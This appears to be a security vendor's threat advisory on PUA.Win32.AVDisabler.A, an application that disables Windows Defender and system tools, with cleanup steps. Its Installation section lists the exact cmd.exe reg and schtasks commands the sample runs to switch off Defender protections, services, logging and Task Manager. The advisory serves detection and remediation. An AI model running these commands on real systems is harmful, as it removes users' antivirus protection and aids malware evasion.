PUA.Win32.AVDisabler.A

June 04, 2020
 PLATFORM:

Windows

 OVERALL RISK RATING:
 REPORTED INFECTION:
 SYSTEM IMPACT RATING:
 INFORMATION EXPOSURE:

  • Threat Type: Potentially Unwanted Application

  • Destructiveness: No

  • Encrypted:

  • In the wild: Yes

  OVERVIEW

This Potentially Unwanted Application arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

It disables Task Manager, Registry Editor, and Folder Options.

  TECHNICAL DETAILS

File Size:

24,064 bytes

File Type:

EXE

Memory Resident:

Yes

Initial Samples Received Date:

04 Jun 2020

Arrival Details

This Potentially Unwanted Application arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

This Potentially Unwanted Application adds the following processes:

  • %System%\cmd.exe /c reg delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
  • %System%\cmd.exe /c reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
  • %System%\cmd.exe /c reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f
  • %System%\cmd.exe /c reg add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f
  • %System%\cmd.exe /c reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
  • %System%\cmd.exe /c reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f
  • %System%\cmd.exe /c reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
  • %System%\cmd.exe /c reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f
  • %System%\cmd.exe /c reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
  • %System%\cmd.exe /c reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f
  • %System%\cmd.exe /c reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f
  • %System%\cmd.exe /c reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f
  • %System%\cmd.exe /c reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSampleConsent" /t REG_DWORD /d "2" /f
  • %System%\cmd.exe /c reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f
  • %System%\cmd.exe /c reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f
  • %System%\cmd.exe /c schtasks /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable
  • %System%\cmd.exe /c schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable
  • %System%\cmd.exe /c schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable
  • %System%\cmd.exe /c schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable
  • %System%\cmd.exe /c schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable
  • %System%\cmd.exe /c reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "SecurityHealth" /f
  • %System%\cmd.exe /c reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "SecurityHealth" /f
  • %System%\cmd.exe /c reg delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f
  • %System%\cmd.exe /c reg delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f
  • %System%\cmd.exe /c reg delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f
  • %System%\cmd.exe /c reg add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f
  • %System%\cmd.exe /c reg add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f
  • %System%\cmd.exe /c reg add "HKLM\System\CurrentControlSet\Services\WdNisDrc" /v "Start" /t REG_DWORD /d "4" /f
  • %System%\cmd.exe /c reg add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f
  • %System%\cmd.exe /c reg add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f
  • %System%\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d "1" /f
  • %System%\cmd.exe /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d "1" /f
  • %System%\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableRegistryTools" /t REG_DWORD /d "1" /f

(Note: %System% is the Windows system folder, where it usually is C:\Windows\System32 on all Windows operating system versions.)

Other System Modifications

This Potentially Unwanted Application adds the following registry entries:

HKEY_LOCAL_MACHINE\SOFTWARE\Policies\
Microsoft\Windows Defender
DisableAntiSpyware = "1"

HKEY_LOCAL_MACHINE\SOFTWARE\Policies\
Microsoft\Windows Defender
DisableAntiVirus = "1"

HKEY_LOCAL_MACHINE\SOFTWARE\Policies\
Microsoft\Windows Defender\MpEngine
MpEnablePus = "0"

HKEY_LOCAL_MACHINE\SOFTWARE\Policies\
Microsoft\Windows Defender\Real-Time Protection
DisableBehaviorMonitoring = "1"

HKEY_LOCAL_MACHINE\SOFTWARE\Policies\
Microsoft\Windows Defender\Real-Time Protection
DisableIOAVProtection = "1"

HKEY_LOCAL_MACHINE\SOFTWARE\Policies\
Microsoft\Windows Defender\Real-Time Protection
DisableOnAccessProtection = "1"

HKEY_LOCAL_MACHINE\SOFTWARE\Policies\
Microsoft\Windows Defender\Real-Time Protection
DisableRealtimeMonitoring = "1"

HKEY_LOCAL_MACHINE\SOFTWARE\Policies\
Microsoft\Windows Defender\Real-Time Protection
DisableScanOnRealtimeEnable = "1"

HKEY_LOCAL_MACHINE\SOFTWARE\Policies\
Microsoft\Windows Defender\Reporting
DisableEnhancedNotifications = "1"

HKEY_LOCAL_MACHINE\SOFTWARE\Policies\
Microsoft\Windows Defender\SpyNet
DisableBlockAtFirstSeen = "1"

HKEY_LOCAL_MACHINE\SOFTWARE\Policies\
Microsoft\Windows Defender\SpyNet
SpynetReporting = "0"

HKEY_LOCAL_MACHINE\SOFTWARE\Policies\
Microsoft\Windows Defender\SpyNet
SubmitSampleConsent = "2"

HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\
Control\WMI\Autologger\
DefenderApiLogger
Start = "0"

HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\
Control\WMI\Autologger\
DefenderAuditLogger
Start = "0"

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
services\WdBoot
Start = "4"

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
services\WdFilter
Start = "4"

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
services\WdNisDrc
Start = "4"

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
services\WdNisSvc
Start = "4"

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
services\WinDefend
Start = "4"

It creates the following registry entry(ies) to disable Task Manager, Registry Tools and Folder Options:

HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Policies\
System
DisableTaskMgr = "1"

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Windows\CurrentVersion\Policies\
System
DisableTaskMgr = "1"

HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Policies\
System
DisableRegistryTools = "1"

It deletes the following registry keys:

HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\
Microsoft\Windows\CurrentVersion\
Run\SecurityHealth

Dropping Routine

This Potentially Unwanted Application drops the following files:

  • %All Users Profile%\Microsoft\Network\Downloader\qmgr1.dat
  • %All Users Profile%\Microsoft\Network\Downloader\qmgr0.dat

(Note: %All Users Profile% is the common user's profile folder, which is usually C:\Documents and Settings\All Users on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\ProgramData on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit). )

This report is generated via an automated analysis system.

  SOLUTION

Minimum Scan Engine:

9.850

Step 1

Before doing any scans, Windows 7, Windows 8, Windows 8.1, and Windows 10 users must disable System Restore to allow full scanning of their computers.

Step 2

Identify and terminate files detected as PUA.Win32.AVDisabler.A

[ Learn More ]
  1. Windows Task Manager may not display all running processes. In this case, please use a third-party process viewer, preferably Process Explorer, to terminate the malware/grayware/spyware file. You may download the said tool here.
  2. If the detected file is displayed in either Windows Task Manager or Process Explorer but you cannot delete it, restart your computer in safe mode. To do this, refer to this link for the complete steps.
  3. If the detected file is not displayed in either Windows Task Manager or Process Explorer, continue doing the next steps.

Step 3

Enable Registry Editor, Task Manager, and Folder options

[ Learn More ]
By doing this step, you also enable other applications/programs disabled by this malware/grayware/spyware. Screen reader support enabled.

Step 4

Delete this registry value

[ Learn More ]

Important: Editing the Windows Registry incorrectly can lead to irreversible system malfunction. Please do this step only if you know how or you can ask assistance from your system administrator. Else, check this Microsoft article first before modifying your computer's registry.

  • In HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender
    • DisableAntiSpyware = "1"
  • In HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender
    • DisableAntiVirus = "1"
  • In HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\MpEngine
    • MpEnablePus = "0"
  • In HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection
    • DisableBehaviorMonitoring = "1"
  • In HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection
    • DisableIOAVProtection = "1"
  • In HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection
    • DisableOnAccessProtection = "1"
  • In HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection
    • DisableRealtimeMonitoring = "1"
  • In HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection
    • DisableScanOnRealtimeEnable = "1"
  • In HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Reporting
    • DisableEnhancedNotifications = "1"
  • In HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\SpyNet
    • DisableBlockAtFirstSeen = "1"
  • In HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\SpyNet
    • SpynetReporting = "0"
  • In HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\SpyNet
    • SubmitSampleConsent = "2"
  • In HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WMI\Autologger\DefenderApiLogger
    • Start = "0"
  • In HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WMI\Autologger\DefenderAuditLogger
    • Start = "0"
  • In HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\WdBoot
    • Start = "4"
  • In HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\WdFilter
    • Start = "4"
  • In HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\WdNisDrc
    • Start = "4"
  • In HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\WdNisSvc
    • Start = "4"
  • In HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\WinDefend
    • Start = "4"

Step 5

Search and delete these components

[ Learn More ]
There may be some components that are hidden. Please make sure you check the Search Hidden Files and Folders checkbox in the "More advanced options" option to include all hidden files and folders in the search result.
  • %All Users Profile%\Microsoft\Network\Downloader\qmgr1.dat
  • %All Users Profile%\Microsoft\Network\Downloader\qmgr0.dat

Step 6

Scan your computer with your Trend Micro product to delete files detected as PUA.Win32.AVDisabler.A. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check the following Trend Micro Support pages for more information:

Step 7

Restore these deleted registry keys/values from backup

*Note: Only Microsoft-related keys/values will be restored. If the malware/grayware also deleted registry keys/values related to programs that are not from Microsoft, please reinstall those programs on your computer.

  • In HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run
    • SecurityHealth


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